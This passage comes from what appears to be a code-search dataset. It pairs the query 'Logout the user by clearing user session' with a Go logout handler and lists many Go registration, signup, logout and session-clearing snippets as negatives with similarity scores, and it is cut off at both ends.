request discard!\\\")\\n\\t\\treturn\\n\\t}\\n\\tpwd := os.Getenv(\\\"PWD\\\")\\n\\tfmt.Println(\\\"current path\\\", pwd)\\n\\tvar registerInfo = RegisterInfo{}\\n\\terr := json.NewDecoder(r.Body).Decode(&registerInfo)\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"failed to decode\\\", err)\\n\\t\\treturn\\n\\t}\\n\\t//转为绝对路径\\n\\tregisterInfo.MSPDir = pwd + registerInfo.MSPDir\\n\\tregisterInfo.PathOfCATLSCert = pwd + registerInfo.PathOfCATLSCert\\n\\n\\tfmt.Println(\\\"registering\\\", registerInfo.Username)\\n\\turl := fmt.Sprintf(\\\"https://%s\\\",\\n\\t\\tregisterInfo.Address)\\n\\n\\terr, wout := runCMD(\\\"fabric-ca-client\\\", \\\"register\\\",\\n\\t\\t\\\"--id.name\\\", registerInfo.Username,\\n\\t\\t\\\"--id.secret\\\", registerInfo.Password,\\n\\t\\t\\\"--id.type\\\", registerInfo.Type,\\n\\t\\t\\\"--url\\\", url,\\n\\t\\t\\\"--mspdir\\\", registerInfo.MSPDir,\\n\\t\\t\\\"--tls.certfiles\\\", registerInfo.PathOfCATLSCert)\\n\\tif err != nil {\\n\\t\\tjson.NewEncoder(w).Encode(string(wout.Bytes()))\\n\\t\\treturn\\n\\t}\\n\\n\\tsuccess := Success{\\n\\t\\tPayload: string(wout.Bytes()),\\n\\t\\tMessage: \\\"200 OK\\\",\\n\\t}\\n\\tjson.NewEncoder(w).Encode(success)\\n\\treturn\\n}\",\n \"func RegisterNewUser(c *soso.Context) {\\n\\treq := c.RequestMap\\n\\trequest := &auth_protocol.NewUserRequest{}\\n\\n\\tif value, ok := req[\\\"source\\\"].(string); ok {\\n\\t\\trequest.Source = value\\n\\t}\\n\\n\\tif value, ok := req[\\\"phone\\\"].(string); ok {\\n\\t\\trequest.PhoneNumber = value\\n\\t}\\n\\n\\tif value, ok := req[\\\"instagram_username\\\"].(string); ok {\\n\\t\\tvalue = strings.Trim(value, \\\" \\\\r\\\\n\\\\t\\\")\\n\\t\\tif !nameValidator.MatchString(value) {\\n\\t\\t\\tlog.Debug(\\\"name '%v' isn't valid\\\", value)\\n\\t\\t\\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\\\"Invalid instagram name\\\"))\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\trequest.InstagramUsername = value\\n\\t}\\n\\n\\tif value, ok := req[\\\"username\\\"].(string); ok {\\n\\t\\tvalue = strings.Trim(value, \\\" \\\\r\\\\n\\\\t\\\")\\n\\t\\tif !nameValidator.MatchString(value) {\\n\\t\\t\\tlog.Debug(\\\"name '%v' isn't valid\\\", value)\\n\\t\\t\\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\\\"Invalid user name\\\"))\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\trequest.Username = value\\n\\t}\\n\\n\\tif request.InstagramUsername == \\\"\\\" && request.Username == \\\"\\\" {\\n\\t\\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\\\"User name or instagram name is required\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\tif request.PhoneNumber == \\\"\\\" {\\n\\t\\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\\\"User phone number is required\\\"))\\n\\t\\treturn\\n\\t}\\n\\n\\tctx, cancel := rpc.DefaultContext()\\n\\tdefer cancel()\\n\\tresp, err := authClient.RegisterNewUser(ctx, request)\\n\\n\\tif err != nil {\\n\\t\\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tc.SuccessResponse(map[string]interface{}{\\n\\t\\t\\\"ErrorCode\\\": resp.ErrorCode,\\n\\t\\t\\\"ErrorMessage\\\": resp.ErrorMessage,\\n\\t})\\n}\",\n \"func (app *application) signup(w http.ResponseWriter, r *http.Request) {\\n\\t// get session\\n\\tsession, err := app.sessionStore.Get(r, \\\"session-name\\\")\\n\\tif err != nil {\\n\\t\\tapp.serverError(w, err)\\n\\t}\\n\\n\\terr = r.ParseForm()\\n\\tif err != nil {\\n\\t\\tapp.clientError(w, http.StatusBadRequest)\\n\\t}\\n\\n\\t// validation checks\\n\\tform := forms.New(r.PostForm)\\n\\tform.Required(\\\"name\\\", \\\"email\\\", \\\"password\\\", \\\"phone\\\", \\\"address\\\", \\\"pincode\\\")\\n\\tform.MinLength(\\\"password\\\", 8)\\n\\tform.MatchesPattern(\\\"email\\\", forms.RxEmail)\\n\\tpincode, err := strconv.Atoi(form.Get(\\\"pincode\\\"))\\n\\tif err != nil {\\n\\t\\tform.Errors.Add(\\\"pincode\\\", \\\"enter valid pincode\\\")\\n\\t}\\n\\n\\t// check whether signup was as a vendor or a customer\\n\\tif form.Get(\\\"accType\\\") == \\\"vendor\\\" {\\n\\n\\t\\t// additional GPS validations\\n\\t\\tform.Required(\\\"gps_lat\\\", \\\"gps_long\\\")\\n\\t\\tgpsLat, err := strconv.ParseFloat(form.Get(\\\"gps_lat\\\"), 64)\\n\\t\\tif err != nil {\\n\\t\\t\\tform.Errors.Add(\\\"gps_lat\\\", \\\"enter valid value\\\")\\n\\t\\t}\\n\\t\\tgpsLong, err := strconv.ParseFloat(form.Get(\\\"gps_long\\\"), 64)\\n\\t\\tif err != nil {\\n\\t\\t\\tform.Errors.Add(\\\"gps_lat\\\", \\\"enter valid value\\\")\\n\\t\\t}\\n\\t\\tif !form.Valid() {\\n\\t\\t\\tapp.render(w, r, \\\"signup.page.tmpl\\\", &templateData{Form: form})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// insert into database\\n\\t\\terr = app.vendors.Insert(\\n\\t\\t\\tform.Get(\\\"name\\\"),\\n\\t\\t\\tform.Get(\\\"address\\\"),\\n\\t\\t\\tform.Get(\\\"email\\\"),\\n\\t\\t\\tform.Get(\\\"password\\\"),\\n\\t\\t\\tform.Get(\\\"phone\\\"),\\n\\t\\t\\tpincode,\\n\\t\\t\\tgpsLat,\\n\\t\\t\\tgpsLong,\\n\\t\\t)\\n\\n\\t\\t// return if duplicate email or some other error\\n\\t\\tif err == models.ErrDuplicateEmail {\\n\\t\\t\\tform.Errors.Add(\\\"email\\\", \\\"Address already in use\\\")\\n\\t\\t\\tapp.render(w, r, \\\"signup.page.tmpl\\\", &templateData{Form: form})\\n\\t\\t\\treturn\\n\\t\\t} else if err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t} else { // customer\\n\\t\\t// if validation checks didn't pass\\n\\t\\tif !form.Valid() {\\n\\t\\t\\t// prompt user to fill form with correct data\\n\\t\\t\\tapp.render(w, r, \\\"signup.page.tmpl\\\", &templateData{Form: form})\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// insert into database\\n\\t\\terr = app.customers.Insert(\\n\\t\\t\\tform.Get(\\\"name\\\"),\\n\\t\\t\\tform.Get(\\\"address\\\"),\\n\\t\\t\\tform.Get(\\\"email\\\"),\\n\\t\\t\\tform.Get(\\\"password\\\"),\\n\\t\\t\\tform.Get(\\\"phone\\\"),\\n\\t\\t\\tpincode,\\n\\t\\t)\\n\\n\\t\\t// return if duplicate email or some other error\\n\\t\\tif err == models.ErrDuplicateEmail {\\n\\t\\t\\tform.Errors.Add(\\\"email\\\", \\\"Address already in use\\\")\\n\\t\\t\\tapp.render(w, r, \\\"signup.page.tmpl\\\", &templateData{Form: form})\\n\\t\\t\\treturn\\n\\t\\t} else if err != nil {\\n\\t\\t\\tapp.serverError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// redirect after succesful signup\\n\\tsession.AddFlash(\\\"Sign Up succesful\\\")\\n\\terr = session.Save(r, w)\\n\\tif err != nil {\\n\\t\\tapp.serverError(w, err)\\n\\t}\\n\\thttp.Redirect(w, r, \\\"/login\\\", http.StatusSeeOther)\\n}\",\n \"func (db *boltDB) saveCredentials(acct providerAccount, creds []byte) error {\\n\\treturn db.Update(func(tx *bolt.Tx) error {\\n\\t\\tb := tx.Bucket(acct.key())\\n\\t\\tif b == nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"account '%s' does not exist in DB\\\", acct)\\n\\t\\t}\\n\\t\\treturn b.Put([]byte(\\\"credentials\\\"), creds)\\n\\t})\\n}\",\n \"func RegisterUser(w http.ResponseWriter, r *http.Request) {\\n\\t//var dadosLogin = mux.Vars(r)\\n\\tname := r.FormValue(\\\"name\\\")\\n\\temail := r.FormValue(\\\"email\\\")\\n\\tuser := r.FormValue(\\\"usuario\\\")\\n\\tpass := r.FormValue(\\\"pass\\\")\\n\\n\\tpass, _ = helpers.HashPassword(pass)\\n\\n\\tsql := \\\"INSERT INTO users (nome, email, login, pass) VALUES (?, ?, ?, ?) \\\"\\n\\tstmt, err := cone.Db.Exec(sql, name, email, user, pass)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err.Error())\\n\\t\\treturn\\n\\t}\\n\\t_, errs := stmt.RowsAffected()\\n\\tif errs != nil {\\n\\t\\tlog.Fatal(err.Error())\\n\\t\\treturn\\n\\t}\\n\\thttp.Redirect(w, r, \\\"/\\\", 301)\\n}\",\n \"func RegisterUser(ctx context.Context, mongoClient *mongo.Client) func(http.ResponseWriter, *http.Request) {\\n return func(response http.ResponseWriter, request *http.Request) {\\n fmt.Println(\\\"working\\\")\\n request.ParseForm()\\n \\tresponse.Header().Set(\\\"content-type\\\", \\\"application/x-www-form-urlencoded\\\")\\n collection := mongoClient.Database(\\\"go_meals\\\").Collection(\\\"users\\\")\\n filter := bson.D{{\\\"email\\\", request.FormValue(\\\"email\\\")}}\\n\\n var currentUser models.User\\n err := collection.FindOne(ctx, filter).Decode(&currentUser)\\n\\n if err != nil {\\n bstring := []byte(request.FormValue(\\\"password\\\"))\\n bcryptPassword, _ := bcrypt.GenerateFromPassword(bstring, 10)\\n\\n var newUser models.User\\n newUser.ID = primitive.NewObjectID()\\n newUser.Name = request.FormValue(\\\"name\\\")\\n newUser.Email = request.FormValue(\\\"email\\\")\\n newUser.Password = bcryptPassword\\n\\n _, err := collection.InsertOne(ctx, newUser)\\n\\n if err != nil {\\n var errorMessage models.Errors\\n errorMessage.User = \\\"there was an error creating the user\\\"\\n json.NewEncoder(response).Encode(errorMessage)\\n } else {\\n json.NewEncoder(response).Encode(newUser)\\n }\\n } else {\\n var errorMessage models.Errors\\n errorMessage.User = \\\"This email already exists for a user.\\\"\\n json.NewEncoder(response).Encode(errorMessage)\\n }\\n }\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6701098","0.6440298","0.6288086","0.62616646","0.6218286","0.6162555","0.6115804","0.6111605","0.61108327","0.6046784","0.6042894","0.60074866","0.6003057","0.59988374","0.5993887","0.5990544","0.5986322","0.5956251","0.5938354","0.59189236","0.5907019","0.59040153","0.5872093","0.58591646","0.5844814","0.58440155","0.5843714","0.58247215","0.5798946","0.5797259","0.57874995","0.5777318","0.5771844","0.5768614","0.5763","0.57276404","0.5720379","0.569336","0.56921","0.56917536","0.56906706","0.5678293","0.5670212","0.5662917","0.5661038","0.56498843","0.56475216","0.56448406","0.56232","0.5618725","0.56158507","0.5591872","0.5587181","0.5577","0.55746245","0.5569858","0.55680627","0.55614305","0.555589","0.5550014","0.5546839","0.55293757","0.55284","0.5524375","0.5504355","0.5504348","0.54966855","0.5495032","0.5484548","0.5481018","0.5474994","0.5472991","0.54686147","0.5464039","0.54605407","0.5458745","0.54561234","0.5452877","0.54445475","0.5428571","0.54082423","0.54070014","0.5406107","0.5405238","0.5397719","0.5397388","0.53830516","0.5374649","0.53744644","0.5371363","0.53618884","0.5358376","0.5355893","0.5346773","0.534332","0.53428876","0.53309256","0.5330602","0.5325705","0.5325263"],"string":"[\n \"0.6701098\",\n \"0.6440298\",\n \"0.6288086\",\n \"0.62616646\",\n \"0.6218286\",\n \"0.6162555\",\n \"0.6115804\",\n \"0.6111605\",\n \"0.61108327\",\n \"0.6046784\",\n \"0.6042894\",\n \"0.60074866\",\n \"0.6003057\",\n \"0.59988374\",\n \"0.5993887\",\n \"0.5990544\",\n \"0.5986322\",\n \"0.5956251\",\n \"0.5938354\",\n \"0.59189236\",\n \"0.5907019\",\n \"0.59040153\",\n \"0.5872093\",\n \"0.58591646\",\n \"0.5844814\",\n \"0.58440155\",\n \"0.5843714\",\n \"0.58247215\",\n \"0.5798946\",\n \"0.5797259\",\n \"0.57874995\",\n \"0.5777318\",\n \"0.5771844\",\n \"0.5768614\",\n \"0.5763\",\n \"0.57276404\",\n \"0.5720379\",\n \"0.569336\",\n \"0.56921\",\n \"0.56917536\",\n \"0.56906706\",\n \"0.5678293\",\n \"0.5670212\",\n \"0.5662917\",\n \"0.5661038\",\n \"0.56498843\",\n \"0.56475216\",\n \"0.56448406\",\n \"0.56232\",\n \"0.5618725\",\n \"0.56158507\",\n \"0.5591872\",\n \"0.5587181\",\n \"0.5577\",\n \"0.55746245\",\n \"0.5569858\",\n \"0.55680627\",\n \"0.55614305\",\n \"0.555589\",\n \"0.5550014\",\n \"0.5546839\",\n \"0.55293757\",\n \"0.55284\",\n \"0.5524375\",\n \"0.5504355\",\n \"0.5504348\",\n \"0.54966855\",\n \"0.5495032\",\n \"0.5484548\",\n \"0.5481018\",\n \"0.5474994\",\n \"0.5472991\",\n \"0.54686147\",\n \"0.5464039\",\n \"0.54605407\",\n \"0.5458745\",\n \"0.54561234\",\n \"0.5452877\",\n \"0.54445475\",\n \"0.5428571\",\n \"0.54082423\",\n \"0.54070014\",\n \"0.5406107\",\n \"0.5405238\",\n \"0.5397719\",\n \"0.5397388\",\n \"0.53830516\",\n \"0.5374649\",\n \"0.53744644\",\n \"0.5371363\",\n \"0.53618884\",\n \"0.5358376\",\n \"0.5355893\",\n \"0.5346773\",\n \"0.534332\",\n \"0.53428876\",\n \"0.53309256\",\n \"0.5330602\",\n \"0.5325705\",\n \"0.5325263\"\n]"},"document_score":{"kind":"string","value":"0.64236367"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":106135,"cells":{"query":{"kind":"string","value":"Logout the user by clearing user session"},"document":{"kind":"string","value":"func logout(ctx context.Context) error {\n\tr := ctx.HttpRequest()\n\tsession, _ := core.GetSession(r)\n\t_, ok := session.Values[\"user\"]\n\tif ok {\n\t\tdelete(session.Values, \"user\")\n\t\tif err := session.Save(r, ctx.HttpResponseWriter()); err != nil {\n\t\t\tlog.Error(\"Unable to save session: \", err)\n\t\t}\n\t}\n\treturn goweb.Respond.WithPermanentRedirect(ctx, \"/\")\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func Logout(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tsession.Delete(\"user\");\n\tsession.Save();\n\tc.JSON(200, gin.H{\n\t\t\"success\": true,\n\t})\n}","func logout(w http.ResponseWriter, r *http.Request) {\n\n\tsession := sessions.Start(w, r)\n\tsession.Clear()\n\tsessions.Destroy(w, r)\n\thttp.Redirect(w, r, \"/\", 302)\n\n}","func logout(c *gin.Context) {\n\t//Give the user a session\n\tsession := sessions.Default(c)\n\tclearSession(&session)\n\n\tc.Redirect(http.StatusFound, \"/\")\n}","func Logout(w http.ResponseWriter, r *http.Request) {\n\tPrintln(\"Endpoint Hit: Logout\")\n\n\tsession := sessions.Start(w, r)\n\tsession.Clear()\n\tsessions.Destroy(w, r)\n\thttp.Redirect(w, r, \"/\", 302)\n}","func Logout(res http.ResponseWriter, req *http.Request) error {\n\tsession, err := Store.Get(req, SessionName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsession.Options.MaxAge = -1\n\tsession.Values = make(map[interface{}]interface{})\n\terr = session.Save(req, res)\n\tif err != nil {\n\t\treturn errors.New(\"Could not delete user session \")\n\t}\n\treturn nil\n}","func Logout(rw http.ResponseWriter, request *http.Request) {\n\n\tlog.Println(\"call Logout\")\n\n\t// Cookieからセッション情報取得\n\tsessionID, err := request.Cookie(sessionIDName)\n\tif err != nil {\n\t\t// セッション情報取得に失敗した場合TOP画面に遷移\n\t\tlog.Println(\"Cookie 取得 失敗\")\n\t\tlog.Println(err)\n\t\t// Cookieクリア\n\t\tclearCookie(rw)\n\t\thttp.Redirect(rw, request, \"/index\", http.StatusFound)\n\t\treturn\n\t}\n\tlog.Println(\"Cookie 取得 成功\")\n\tlog.Println(\"セッション情報:\", sessionID.Value)\n\n\t// セッション情報を削除\n\tdbm := db.ConnDB()\n\t_, err = dbm.Exec(\"delete from sessions where sessionID = ?\", sessionID.Value)\n\tif err != nil {\n\t\tlog.Println(\"セッション 削除 失敗\")\n\t} else {\n\t\tlog.Println(\"セッション 削除 成功\")\n\t\tlog.Println(\"削除したセッションID:\", sessionID.Value)\n\t}\n\n\t// CookieクリアしてTOP画面表示\n\tclearCookie(rw)\n\thttp.Redirect(rw, request, \"/index\", http.StatusFound)\n}","func UserLogout(w http.ResponseWriter, r *http.Request) {\n\t_ = SessionDel(w, r, \"user\")\n\tutils.SuccessResponse(&w, \"登出成功\", \"\")\n}","func logout(w http.ResponseWriter, r *http.Request) {\n\tsession, err := store.Get(r, \"auth\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tsession.Values[\"user\"] = User{}\n\tsession.Options.MaxAge = -1\n\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tlogRequest(r)\n}","func Logout(ctx echo.Context) error {\n\tif _, ok := ctx.Get(\"User\").(*models.Person); ok {\n\t\tutils.DeleteSession(ctx, settings.App.Session.Lang)\n\t\tutils.DeleteSession(ctx, settings.App.Session.Flash)\n\t\tutils.DeleteSession(ctx, settings.App.Session.Name)\n\t}\n\tctx.Redirect(http.StatusFound, \"/\")\n\treturn nil\n}","func (authentication *Authentication) ClearSession(res http.ResponseWriter, req *http.Request) {\n\tcookie, _ := cookies.GetCookie(req, \"session\")\n\t// delete the session\n\tdelete(authentication.loginUser, authentication.userSession[cookie.Value].email)\n\tdelete(authentication.userSession, cookie.Value)\n\t// remove the cookie\n\tcookie = &http.Cookie{\n\t\tName: \"session\",\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t}\n\thttp.SetCookie(res, cookie)\n\n\t// clean up dbSessions\n\tif time.Now().Sub(sessionsCleaned) > (time.Second * 30) {\n\t\tfor sessionID, session := range authentication.userSession {\n\t\t\tif time.Now().Sub(session.lastActivity) > (time.Second * 30) {\n\t\t\t\tdelete(authentication.loginUser, session.email)\n\t\t\t\tdelete(authentication.userSession, sessionID)\n\t\t\t}\n\t\t}\n\t\tsessionsCleaned = time.Now()\n\t}\n}","func logout(res http.ResponseWriter, req *http.Request) {\n sess := session.Get(req)\n\n session.Remove(sess, res)\n sess = nil\n\n return\n http.Redirect(res, req, \"/login\", 301)\n}","func Clear(c echo.Context) error {\n\ts, _ := Get(c)\n\tusername := s.Values[\"username\"]\n\tdelete(s.Values, \"authenticated\")\n\tdelete(s.Values, \"username\")\n\tdelete(s.Values, \"userinfo\")\n\n\t// delete client cookie\n\ts.Options.MaxAge = -1\n\n\terr := s.Save(c.Request(), c.Response())\n\tif err != nil {\n\t\tglog.Errorf(\"Failed to save session: %v\", err)\n\t\treturn err\n\t}\n\tglog.V(2).Infof(\"user '%s' logged out\", username)\n\treturn nil\n}","func Logout(r *http.Request) {\n\ts := getSessionFromRequest(r)\n\tif s.ID == 0 {\n\t\treturn\n\t}\n\n\t// Store Logout to the user log\n\tfunc() {\n\t\tlog := &Log{}\n\t\tlog.SignIn(s.User.Username, log.Action.Logout(), r)\n\t\tlog.Save()\n\t}()\n\n\ts.Logout()\n\n\t// Delete the cookie from memory if we sessions are cached\n\tif CacheSessions {\n\t\tdelete(cachedSessions, s.Key)\n\t}\n\n\tIncrementMetric(\"uadmin/security/logout\")\n}","func Logout(app *aero.Application, authLog *log.Log) {\n\tapp.Get(\"/logout\", func(ctx aero.Context) error {\n\t\tif ctx.HasSession() {\n\t\t\tuser := arn.GetUserFromContext(ctx)\n\n\t\t\tif user != nil {\n\t\t\t\tauthLog.Info(\"%s logged out | %s | %s | %s | %s\", user.Nick, user.ID, ctx.IP(), user.Email, user.RealName())\n\t\t\t}\n\n\t\t\tctx.Session().Delete(\"userId\")\n\t\t}\n\n\t\treturn ctx.Redirect(http.StatusTemporaryRedirect, \"/\")\n\t})\n}","func (u *Users) LogOut() {\n\tu.deauthorizeUser()\n\tu.serveAJAXSuccess(nil)\n}","func Logout(w http.ResponseWriter, req *http.Request) {\n\tif !requirePost(w, req) {\n\t\tlog.Warn(\"Logout request should use POST method\")\n\t\treturn\n\t}\n\tif !requireAuth(w, req) {\n\t\tlog.Warn(\"Logout request should be authenticated\")\n\t\treturn\n\t}\n\tsid := req.Context().Value(auth.SESSION_ID).(string)\n\terr := storage.DeleteSession(sid)\n\tif err != nil {\n\t\tlog.Error(err)\n\t}\n\tconf.RedirectTo(\"/\", \"\", w, req)\n}","func logout(w http.ResponseWriter, r *http.Request) {\n\n\tif isAuthorized(w, r) {\n\t\tusername, _ := r.Cookie(\"username\")\n\t\tdelete(gostuff.SessionManager, username.Value)\n\t\tcookie := http.Cookie{Name: \"username\", Value: \"0\", MaxAge: -1}\n\t\thttp.SetCookie(w, &cookie)\n\t\tcookie = http.Cookie{Name: \"sessionID\", Value: \"0\", MaxAge: -1}\n\t\thttp.SetCookie(w, &cookie)\n\t\tw.Header().Set(\"Cache-Control\", \"no-cache, no-store, must-revalidate\")\n\t\thttp.ServeFile(w, r, \"index.html\")\n\t}\n}","func (c *Client) Logout(ctx context.Context) error {\n\treq := c.Resource(internal.SessionPath).Request(http.MethodDelete)\n\treturn c.Do(ctx, req, nil)\n}","func (s *Subject) Logout() {\n\tif s.Session != nil {\n\t\ts.Session.Clear()\n\t}\n}","func (a *Auth) Logout(w http.ResponseWriter, r *http.Request) {\n\tu := a.userstate.Username(r)\n\ta.userstate.Logout(u)\n\ta.userstate.ClearCookie(w)\n\ta.userstate.RemoveUser(u)\n\tutil.OK(w, r)\n}","func (u *MyUserModel) Logout() {\n\t// Remove from logged-in user's list\n\t// etc ...\n\tu.authenticated = false\n}","func (uh *UserHandler) Logout(w http.ResponseWriter, r *http.Request) {\n\tnewSession := uh.configSess()\n\tcookie, _ := r.Cookie(newSession.SID)\n\n\tsession.Remove(newSession.SID, w)\n\tuh.SService.DeleteSession(cookie.Value)\n\thttp.Redirect(w, r, \"/Login\", http.StatusSeeOther)\n}","func (s *Session) Logout() error { return nil }","func (avisess *AviSession) Logout() error {\n\turl := avisess.prefix + \"logout\"\n\treq, _ := avisess.newAviRequest(\"POST\", url, nil, avisess.tenant)\n\t_, err := avisess.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func logout(w http.ResponseWriter,r *http.Request){\n\tsession,err:=store.Get(r,\"cookie-name\")\n\tif err!=nil{\n\t\tlog.Fatal(err)\n\t}\n\tsession.Values[\"user\"]=user{}\n\tsession.Options.MaxAge=-1\n\n\terr=session.Save(r,w)\n\tif err!=nil{\n\t\tlog.Fatal(err)\n\t}\n\thttp.Redirect(w,r,\"/\",http.StatusFound)\n}","func (u *User) Logout() {\n\t// Remove from logged-in user's list\n\t// etc ...\n\tu.authenticated = false\n}","func (u *USER_DB) Logout() {\n\t// Remove from logged-in user's list\n\t// etc ...\n\tu.authenticated = false\n}","func (controller *Auth) Logout() {\n\tcontroller.distroySession()\n\tcontroller.DeleteConnectionCookie()\n\tcontroller.Redirect(\"/\", 200)\n}","func Logout(w http.ResponseWriter, r *http.Request) error {\n\tsession, _ := loggedUserSession.Get(r, \"authenticated-user-session\")\n\tsession.Values[\"username\"] = \"\"\n\treturn session.Save(r, w)\n}","func (h *UserRepos) Logout(ctx context.Context, w http.ResponseWriter, r *http.Request, params map[string]string) error {\n\n\tsess := webcontext.ContextSession(ctx)\n\n\t// Set the access token to empty to logout the user.\n\tsess = webcontext.SessionDestroy(sess)\n\n\tif err := sess.Save(r, w); err != nil {\n\t\treturn err\n\t}\n\n\t// Redirect the user to the root page.\n\treturn web.Redirect(ctx, w, r, \"/\", http.StatusFound)\n}","func (h *auth) Logout(c echo.Context) error {\n\tsession := currentSession(c)\n\tif session != nil {\n\t\terr := h.db.Delete(session)\n\t\tif err != nil && h.db.IsNotFound(err) {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn c.NoContent(http.StatusNoContent)\n}","func Logout(c buffalo.Context) error {\n\tsessionID := c.Value(\"SessionID\").(int)\n\tadmin := c.Value(\"Admin\")\n\tif admin != nil {\n\t\t// \"log out\" by unscoping out auth token\n\t\ttoken, err := utils.GenerateScopedToken(admin.(string), 0, sessionID)\n\t\tif err != nil {\n\t\t\treturn c.Error(http.StatusBadRequest, err)\n\t\t}\n\t\treturn c.Render(http.StatusOK, render.JSON(&common.TokenPayload{\n\t\t\tToken: token,\n\t\t}))\n\t}\n\tif err := modelext.DeleteUserSession(c, sessionID); err != nil {\n\t\treturn c.Error(http.StatusInternalServerError, err)\n\t}\n\treturn c.Render(http.StatusOK, render.JSON(&common.TokenPayload{\n\t\tToken: \"\",\n\t}))\n}","func Logout(w http.ResponseWriter, r *http.Request) {\r\n\t//Get user id of the session\r\n\tctx, cancel := context.WithTimeout(context.Background(), time.Second)\r\n\tdefer cancel()\r\n\tcookie, err := r.Cookie(\"sessionId\")\r\n\tif err != nil || cookie.Value != \"\" {\r\n\t\ttoken, _ := url.QueryUnescape(cookie.Value)\r\n\t\t_, err = AuthClient.RemoveAuthToken(ctx, &authpb.AuthToken{Token: token})\r\n\t\texpiration := time.Now()\r\n\t\tcookie := http.Cookie{Name: \"sessionId\", Path: \"/\", HttpOnly: true, Expires: expiration, MaxAge: -1}\r\n\t\thttp.SetCookie(w, &cookie)\r\n\t}\r\n\tAPIResponse(w, r, 200, \"Logout successful\", make(map[string]string))\r\n}","func (a *Auth) Logout(ctx *gin.Context) error {\n\tuuid, err := ctx.Cookie(a.cookie)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t// delete redis record\n\tif err := a.redis.Del(uuid).Err(); err != nil {\n\t\treturn err\n\t}\n\n\t// delete cookie\n\thttp.SetCookie(ctx.Writer, &http.Cookie{\n\t\tName: a.cookie,\n\t\tValue: \"\",\n\t\tExpires: time.Unix(0, 0),\n\t})\n\treturn nil\n}","func clearSession(response http.ResponseWriter) {\n cookie := &http.Cookie{\n Name: \"session\",\n Value: \"\",\n Path: \"/\",\n MaxAge: -1,\n }\n http.SetCookie(response, cookie)\n }","func (app *application) logout(w http.ResponseWriter, r *http.Request) {\n\tsession, err := app.sessionStore.Get(r, \"session-name\")\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t\treturn\n\t}\n\n\tif session.Values[\"customerID\"] != nil {\n\t\tsession.Values[\"customerID\"] = nil\n\t\tsession.AddFlash(\"customer logged out\")\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\t}\n\tif session.Values[\"vendorID\"] != nil {\n\t\tsession.Values[\"vendorID\"] = nil\n\t\tsession.AddFlash(\"vendor logged out\")\n\t\terr = session.Save(r, w)\n\t\tif err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\t}\n}","func clearSession(response http.ResponseWriter) {\n\tcookie := &http.Cookie{\n\t\tName: \"session\",\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t}\n\thttp.SetCookie(response, cookie)\n}","func Logout(w http.ResponseWriter, r *http.Request) {\n\tif sessions.GoodSession(r) != true {\n\t\tjson.NewEncoder(w).Encode(\"Session Expired. Log out and log back in.\")\n\t}\n\tstore, err := pgstore.NewPGStore(os.Getenv(\"PGURL\"), key)\n\tcheck(err)\n\tdefer store.Close()\n\n\tsession, err := store.Get(r, \"scheduler-session\")\n\tcheck(err)\n\t// Revoke users authentication\n\tsession.Values[\"authenticated\"] = false\n\tw.WriteHeader(http.StatusOK)\n\tsession.Options.MaxAge = -1\n\tsession.Save(r, w)\n}","func clearSession(writer http.ResponseWriter) {\n\tcookie := &http.Cookie{\n\t\tName: \"session\",\n\t\tValue: \"\",\n\t\tPath: \"/\",\n\t\tMaxAge: -1,\n\t}\n\thttp.SetCookie(writer, cookie)\n}","func Logout(w http.ResponseWriter, r *http.Request) {\n\tuser := r.Context().Value(utils.TokenContextKey).(string)\n\tmessage := models.Logout(user)\n\tutils.JSONResonseWithMessage(w, message)\n}","func (m *Repository) Logout(w http.ResponseWriter, r *http.Request) {\n\tif !m.App.Session.Exists(r.Context(), \"user_id\") {\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\t\treturn\n\t}\n\n\t_ = m.App.Session.Destroy(r.Context())\n\t_ = m.App.Session.RenewToken(r.Context())\n\tm.App.Session.Put(r.Context(), \"flash\", \"Successfully logged out!\")\n\n\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n}","func (s *CookieStore) ClearSession(rw http.ResponseWriter, req *http.Request) {\n\thttp.SetCookie(rw, s.makeSessionCookie(req, \"\", time.Hour*-1, time.Now()))\n}","func Logout(res http.ResponseWriter, req *http.Request) {\n\t_, ok := cookiesManager.GetCookieValue(req, CookieName)\n\tif ok 